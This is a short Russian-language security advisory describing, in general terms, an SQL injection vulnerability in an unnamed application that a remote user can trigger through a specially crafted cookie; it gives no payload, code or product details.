    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных при использовании специально составленного cookie. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
